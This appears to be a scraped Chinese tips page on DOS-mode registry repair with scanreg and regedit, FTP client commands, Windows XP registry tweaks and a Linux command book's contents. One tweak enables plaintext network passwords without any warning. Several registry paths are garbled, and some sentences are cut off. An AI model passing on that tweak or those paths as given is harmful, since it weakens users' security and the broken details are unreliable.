Scanreg /fix 注冊表有問題時可以用這個來修復,修復時間較長,也許是我的機器很長時間沒有進行過注冊表修復操作,我在自己的機器上(P166MMX超頻到187MHz,32M內存)執行這個命令後,用了十多分鍾,其間有進度條指示修復完成的情況.
Scanreg /comment=< 」comment」> 這是備份注釋文件的命令. 可以將該文件備份為cab格式,由於cab格式是對文件進行壓縮後備份的,利用這一點也可以將別的什麼文件備份為cab格式.可以減少磁碟空間的浪費.以後有用得著這個文件的時候,先執行Scanreg/restore命令,就可以在恢復文件列表中找到它,如果需要,也可以像恢復注冊表文件一樣進行恢復.
系統出現問題,多數與注冊表有關系,這時如果將注冊表恢復到較早的一個,說不定就能解決問題.當你遇到的故障使得系統不能工作在windows模式下時,dos模式下恢復注冊表就是唯一的選擇了,願我這里介紹的一點點知識,能在你遇到上述難題時,助你一臂之
22.FTP主要操作命令簡介
FTP主要操作命令簡介 文件傳輸軟體的使用格式為:FTP ,如果連接成功,系統將提示用戶輸入用戶名以及口令: LOGIN:(輸入合法的用戶名或者「anONYMOUS」) PASSWORD:(輸入合法的口令,若以「anONYMOUS」方式登錄,一般不用口令) 進入想要連接的FTP站點後,用戶就可以進行相應的文件傳輸操作了,其中一些重要的命令及相似的命令如下: (1)HELP、?、RHELP、REMOTEHELP HELP 顯示LOCAL端的命令說明,若不接受則顯示所有可用命令; ? 相當於HELP,例如:? CD; RHELP 同HELP,只是它用來顯示REMOTE端的命令說明; REMOTEHELP 相當於RHELP。 (2)ASC(ASCII)、BIN(BINARY)、IMAGE、TYPE ASCII 切換傳輸模式為文字模式(只能用來傳送DOC文件,因為是7-BIT) BINARY 切換傳輸模式為二進制模式(除文字文件外皆用此模式); IMAGE 相當於BINARY; TYPE 讓你更改或顯示目前傳輸模式。 (3)BYE、QUIT BYE 退出FTP; QUIT 相當於BYE。 (4)CD、CDUP、LCD、PWD、! CD 改變當前工作目錄,例如:CD \PUB; CDUP 回到上一層目錄,相當於你打CD..; LCD 讓你更改或顯示LOCAL端的工作目錄,例如:LCD \TMP; PWD 顯示目前的工作目錄(REMOTE端); ! 讓你執行外殼命令,例如: !LS。 (5)DELETE、MDELETE、RENAME DELETE 刪除REMOTE端的文件 MDELETE 批量刪除文件,需配合?或*; RENAME 更改REMOTE端的文件名。 (6)GET、MGET、PUT、MPUT、RECV、SEND GET 下傳文件; MGET 批量下傳文件,需配合萬用字元,例如:MGET *.GZ; PUT 上傳文件; MPUT 批量上傳文件,需配合萬用字元; RECV 相當於GET(RECV為RECEIVE的簡寫); SEND 相當於PUT。 (7)HASH、PROMPT、VERBOSE、STATUS、BELL HASH 切換#字型大小的出現,每一個#字型大小表示傳送了1024/8192 BYTES; PROMPT 切換INTERACTIVE ON/OFF; VERBOSE 切換所有文件傳輸過程的顯示; STATUS 顯示目前的一些參數; BELL 當指令做完時會發出一聲叫聲。 (8)LS、DIR、MLS、MDIR、MKDIR、RMDIR LS 有點象UNIX下的LS(LIST)命令; DIR 相當於LS -L(LIST-LONG); MLS 只是將遠端某目錄下的文件存於LOCAL端的某文件里; MDIR 相當於MLS; MKDIR 象DOS下的MD(創建子目錄)一樣; RMDIR 象DOS下的RD(刪除子目錄)一樣; (9)OPEN、CLOSE、DISCONNECT、USER OPEN 連接某個遠端FTP伺服器; CLOSE 關閉目前的連接; DISCONNECT 相當於CLOSE; USER 再輸入一次用戶名和口令(有點像UNIX下的SU)。
23.在DOS方式下維護注冊表
雖然這個比較過時了,可是這個也可以做為學習的材料的!在Windows95/98視窗環境下維護注冊表對大多數人來說並不陌生,但是,如果碰上注冊表損壞,以致連視窗環境都無法進入時,該怎樣對注冊表進行維護?這里介紹幾個在DOS方式下維護注冊表的小竅門。 注冊表編輯器一定要在視窗環境下才能運行嗎?不! regedit.exe在DOS方式下照常可以運行。在DOS方式下鍵入命令行:regedit,就會出現語法提示如下: c:\>regedit Imports and exports registry files to and from the registry REGEDIT [/L:system] [/R:user] filename1 REGEDIT [/L:system] [/R:user] /C filename2 REGEDIT [/L:system] [/R:user] /E filename3 [regpath1] REGEDIT [/L:system] [/R:user] /D regpath2 /L:system Specifies the location of SYSTEM.DAT file. /R:user Specifies the location of USER.DAT file. filenamel Specifies the file(s) to import into the registry. /C filename2 Specifies the file to creat the registry from.. /E filename3 Specifies the file to export the registry to. regpath1 Specifies the starting registry key to export from (Defaults to exporting the entire registry). /D regpath2 Specifies the registry key to delete. c:\>_ 語法具體含義上面已經寫得很清楚,結合例子說明如何使用。 導出注冊表數據到一指定文件(例如test.reg),執行命令: c:\>regedit /E test.reg 從一指定文件(例如test.reg)導入注冊表數據,執行命令: c:\>regedit test.reg 利用system.dat文件和user.dat文件導出注冊表數據到一指定文件,執行: c:\>regedit /l:c:windows /r:c:\windows\testuser\ test /e test.reg 除了DOS方式下的regedit可以恢復被損壞的注冊表文件,完成維護工作外,Windows98新增了一個注冊表維護工具,同樣可以勝任這一工作,它就是scanreg.exe,具有以下功能: 每次Windows98啟動時,自動運行系統注冊表檢查程序檢查注冊表是否正確, 每天保留一份正確的注冊表備份,預設最多可以備份5份,即在windows的sysbackup目錄下的 rb00*.cab,損壞的注冊表存為rbbad.cab。 刪除注冊表中多餘數據,減小注冊表大小。 如果檢查到注冊表有問題,自動使用上次正確的注冊表備份來恢復,如果連備份也沒有,它會自動修復注冊表。 scanreg.exe提供以下命令行參數: /backup 備份注冊表數據 /restore 顯示備份文件清單,按照備份時間排序 /comment= 設置備份文件注釋 /fix 修復注冊表 /autoscan 自動掃描注冊表 /scanonly 自動掃描注冊表,回報錯誤代號,但不備份。 回報的錯誤代號意義如下: 2 注冊表數據損毀 0 沒有錯誤 -2 內存不足 -3 找不到內存注冊表數據的文件 -4 無法創建system.dat和user.dat -5 讀注冊表數據失敗 -6 寫注冊表數據失敗 -7 注冊表數據正在被另外文件使用 也可以不帶命令行參數直接運行scanreg.exe,完成檢查注冊表、建立新的注冊表備份、選取某一備份文件來恢復注冊表數據等。筆者就曾經利用這一方法修復注冊表,使Windows98重見天日。
CODE:[Copy to clipboard]<SCRIPT src="/ad/news5.js"></script>
24. 支持137 GB以上大硬碟
想要使用137 GB以上大硬碟,必須使用48位LBA模式。首先你的主板BIOS必須支持48Bit LBA,其次WinXP 家用版和專業版必須安裝SP1補丁。然後打開注冊表,在如下路徑「HKEY_LOCAL_MACHINE System CurrentControlSet Services Atapi Parameter」找到「EnableBigLba」選項,將其值由「0」改為「1」。如果該項不存在,可以自建「DWORD值」項目,同樣設置.最後重新啟動即可.
25. 刪除共享文檔
如果你不需要共享文件,可以這樣移除它:進入HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Explorer My computer Namespace DelegateFolders,刪除鍵值「」。
26. 鎖定桌面
想要鎖定桌面不被別人肆意修改,可以使用很多工具例如TweakUI,不過其實在注冊表裡進行小小的改動即可實現:進入HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Policies Explorer,建立DWORD值「NoDesktop」,將其值修改為「1」即可。
27.停用「上次訪問時間標記(Last Access Time Stamp)」
不想要這項功能,可以這樣修改:進入HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Control File system,新建DWORD值「NtfsDisableLastAccessUpdate」,將其值修改為「1」即可。
28.設置「遠程訪問連接伺服器(RAS)」
需要的話可以這樣修改:進入HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion Winlogon,新建字元串值「KeepRasConnections」,將其值修改為「1」即可。
29.使用明文密碼(Lain Text Password)
訪問UNIX或者LINUX伺服器的時候,有時需要明文密碼這在XP下很容易實現:找到「HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Services lanmanworkstation parameter enableplaintextpassword」並將其值設置為「1」即可.
30. 不再費時費力 兩招快速定位注冊表項
現在有很多設置技巧都需要通過修改注冊表來實現,但在注冊表中,查找項名是相當費時費力的。以修改驅動器的右鍵菜單來說,
❾ 請教 DOS FTP 伺服器上移動文件 問題
你是直接在dos下登陸ftp嗎?在系統中運行dos還可以,如果在純dos下是不可能的
如果是系統下的話,你根據ftp命令進行操作就可以了.如果不能打開的話,把系統下system32裡面有個ftp.exe看看有沒,沒有的話復制一個或者下載一個替換了就可以正常使用dos下的ftp了
❿ linux命令主要有哪幾種
Linux運維人員必會的120個命令
來自《跟老男孩學Linux運維:核心系統命令實戰》一書
前言
第1章 Linux命令行簡介 / 1
1.1Linux命令行概述 / 1
1.2在Linux命令行下查看命令幫助 / 4
1.3Linux shutdown reboot halt / 9
關機:
shutdown -h now
halt
init 0
第2章 文件和目錄操作命令 / 13
2.1pwd:顯示當前所在的位置 / 13
2.2cd:切換目錄 / 16
2.3tree:以樹形結構顯示目錄下的內容 / 18
2.4mkdir:創建目錄 / 22
2.5touch:創建空文件或改變文件的時間戳屬性 / 27
2.6ls:顯示目錄下的內容及相關屬性信息 / 30
2.7cp:復制文件或目錄 / 39
2.8mv:移動或重命名文件 / 42
2.9rm:刪除文件或目錄 / 45
2.10rmdir:刪除空目錄 / 48
2.11ln:硬鏈接與軟鏈接 / 49
2.12readlink:查看符號鏈接文件的內容 / 54
2.13find:查找目錄下的文件 / 55
2.14xargs:將標准輸入轉換成命令行參數 / 68
2.15rename:重命名文件 / 71
2.16basename:顯示文件名或目錄名 / 72
2.17dirname:顯示文件或目錄路徑 / 72
2.18chattr:改變文件的擴展屬性 / 73
2.19lsattr:查看文件擴展屬性 / 75
2.20file:顯示文件的類型 / 76
2.21md5sum:計算和校驗文件的MD5值 / 77
2.22chown:改變文件或目錄的用戶和用戶組 / 80
2.23chmod:改變文件或目錄許可權 / 81
2.24chgrp:更改文件用戶組 / 85
2.25umask:顯示或設置許可權掩碼 / 86
2.26老男孩從新手成為技術大牛的心法 / 90
第3章 文件過濾及內容編輯處理命令 / 91
3.1cat:合並文件或查看文件內容 / 91
3.2tac:反向顯示文件內容 / 103
3.3more:分頁顯示文件內容 / 104
3.4less:分頁顯示文件內容 / 107
3.5head:顯示文件內容頭部 / 109
3.6tail:顯示文件內容尾部 / 111
3.7tailf:跟蹤日誌文件 / 114
3.8cut:從文本中提取一段文字並輸出 / 115
3.9split:分割文件 / 117
3.10paste:合並文件 / 118
3.11sort:文本排序 / 123
3.12join:按兩個文件的相同欄位合並 / 127
3.13uniq:去除重復行 / 129
3.14wc:統計文件的行數、單詞數或位元組數 / 131
3.15iconv:轉換文件的編碼格式 / 133
3.16dos2unix:將DOS格式文件轉換成UNIX格式 / 134
3.17diff:比較兩個文件的不同 / 135
3.18vimdiff:可視化比較工具 / 138
3.19rev:反向輸出文件內容 / 139
3.20tr:替換或刪除字元 / 140
3.21od:按不同進制顯示文件 / 143
3.22tee:多重定向 / 145
3.23vi/vim:純文本編輯器 / 147
3.24老男孩逆襲思想:做Linux運維的多個好處 / 152
第4章 文本處理三劍客 / 153
4.1grep:文本過濾工具 / 153
4.2sed:字元流編輯器 / 159
4.3awk基礎入門 / 165
第5章 Linux信息顯示與搜索文件命令 / 176
5.1uname:顯示系統信息 / 176
5.2hostname:顯示或設置系統的主機名 / 178
5.3dmesg:系統啟動異常診斷 / 179
5.4stat:顯示文件或文件系統狀態 / 181
5.5:統計磁碟空間使用情況 / 183
5.6date:顯示與設置系統時間 / 186
5.7echo:顯示一行文本 / 190
5.8watch:監視命令執行情況 / 193
5.9which:顯示命令的全路徑 / 195
5.10whereis:顯示命令及其相關文件全路徑 / 196
5.11locate:快速定位文件路徑 / 197
5.12updatedb:更新mlocate資料庫 / 199
5.13老男孩逆襲思想:新手在工作中如何問問題不會被鄙視 / 200
第6章 文件備份與壓縮命令 / 201
6.1tar:打包備份 / 201
6.2gzip:壓縮或解壓文件 / 208
6.3zip:打包和壓縮文件 / 211
6.4unzip:解壓zip文件 / 212
6.5scp:遠程文件復制 / 214
6.6rsync:文件同步工具 / 216
6.7老男孩逆襲思想:新手如何高效地提問 / 220
第7章 Linux用戶管理及用戶信息查詢命令 / 222
7.1 useradd:創建用戶 / 222
7.2usermod:修改用戶信息 / 227
7.3userdel:刪除用戶 / 229
7.4groupadd:創建新的用戶組 / 230
7.5groupdel:刪除用戶組 / 231
7.6passwd:修改用戶密碼 / 232
7.7chage:修改用戶密碼有效期 / 237
7.8chpasswd:批量更新用戶密碼 / 238
7.9su:切換用戶 / 240
7.10visudo:編輯sudoers文件 / 242
7.11sudo:以另一個用戶身份執行命令 / 244
7.12id:顯示用戶與用戶組的信息 / 248
7.13w:顯示已登錄用戶信息 / 249
7.14who:顯示已登錄用戶信息 / 250
7.15users:顯示已登錄用戶 / 252
7.16whoami:顯示當前登錄的用戶名 / 253
7.17last:顯示用戶登錄列表 / 253
7.18lastb:顯示用戶登錄失敗的記錄 / 254
7.19lastlog:顯示所有用戶的最近登錄記錄 / 255
第8章 Linux磁碟與文件系統管理命令 / 257
8.1fdisk:磁碟分區工具 / 257
8.2partprobe:更新內核的硬碟分區表信息 / 265
8.3tune2fs:調整ext2/ext3/ext4文件系統參數 / 266
8.4parted:磁碟分區工具 / 268
8.5mkfs:創建Linux文件系統 / 272
8.6mpe2fs:導出ext2/ext3/ext4文件系統信息 / 274
8.7resize2fs:調整ext2/ext3/ext4文件系統大小 / 275
8.8fsck:檢查並修復Linux文件系統 / 278
8.9dd:轉換或復制文件 / 281
8.10mount:掛載文件系統 / 284
8.11umount:卸載文件系統 / 288
8.12df:報告文件系統磁碟空間的使用情況 / 289
8.13mkswap:創建交換分區 / 293
8.14swapon:激活交換分區 / 294
8.15swapoff:關閉交換分區 / 295
8.16sync:刷新文件系統緩沖區 / 296
第9章 Linux進程管理命令 / 298
9.1ps:查看進程 / 298
9.2pstree:顯示進程狀態樹 / 305
9.3pgrep:查找匹配條件的進程 / 306
9.4kill:終止進程 / 307
9.5killall:通過進程名終止進程 / 310
9.6pkill:通過進程名終止進程 / 311
9.7top:實時顯示系統中各個進程的資源佔用狀況 / 313
9.8nice:調整程序運行時的優先順序 / 320
9.9renice:調整運行中的進程的優先順序 / 323
9.10nohup:用戶退出系統進程繼續工作 / 324
9.11strace:跟蹤進程的系統調用 / 325
9.12ltrace:跟蹤進程調用庫函數 / 332
9.13runlevel:輸出當前運行級別 / 334
9.14init:初始化Linux進程 / 335
9.15service:管理系統服務 / 335
第10章 Linux網路管理命令 / 338
10.1ifconfig:配置或顯示網路介面信息 / 338
10.2ifup:激活網路介面 / 343
ifup eth0
10.3ifdown:禁用網路介面 / 343
ifdown eth0
service network restart(/etc/init.d/network restart) 激活整個網路,所有網卡。
10.4route:顯示或管理路由表 / 344
10.5arp:管理系統的arp緩存 / 350
10.6ip:網路配置工具 / 351
10.7netstat:查看網路狀態 / 358
10.8ss:查看網路狀態 / 362
10.9ping:測試主機之間網路的連通性 / 363
10.10traceroute:追蹤數據傳輸路由狀況 / 366
10.11arping:發送arp請求 / 367
10.12telnet:遠程登錄主機 / 369
10.13nc:多功能網路工具 / 370
10.14ssh:安全地遠程登錄主機 / 373
10.15wget:命令行下載工具 / 376
10.16mailq:顯示郵件傳輸隊列 / 379
10.17mail:發送和接收郵件 / 381
10.18nslookup:域名查詢工具 / 386
10.19dig:域名查詢工具 / 389
10.20host:域名查詢工具 / 393
10.21nmap:網路探測工具和安全/埠掃描器 / 394
10.22tcpmp:監聽網路流量 / 398
第11章 Linux系統管理命令 / 407
11.1lsof:查看進程打開的文件 / 407
11.2uptime:顯示系統的運行時間及負載 / 411
11.3free:查看系統內存信息 / 411
11.4iftop:動態顯示網路介面流量信息 / 413
11.5vmstat:虛擬內存統計 / 415
11.6mpstat:CPU信息統計 / 419
11.7iostat:I/O信息統計 / 420
11.8iotop:動態顯示磁碟I/O統計信息 / 423
11.9sar:收集系統信息 / 425
11.10chkconfig:管理開機服務 / 430
11.11ntsysv:管理開機服務 / 433
11.12 setup:系統管理工具 / 434
11.13ethtool:查詢網卡參數 / 436
11.14mii-tool:管理網路介面的狀態 / 437
11.19rpm:RPM包管理器 / 443
11.20yum:自動化RPM包管理工具 / 446
top命令
第12章 Linux系統常用內置命令 / 450
12.1Linux內置命令概述 / 450
12.2Linux內置命令簡介 / 450
12.3Linux常用內置命令實例 / 452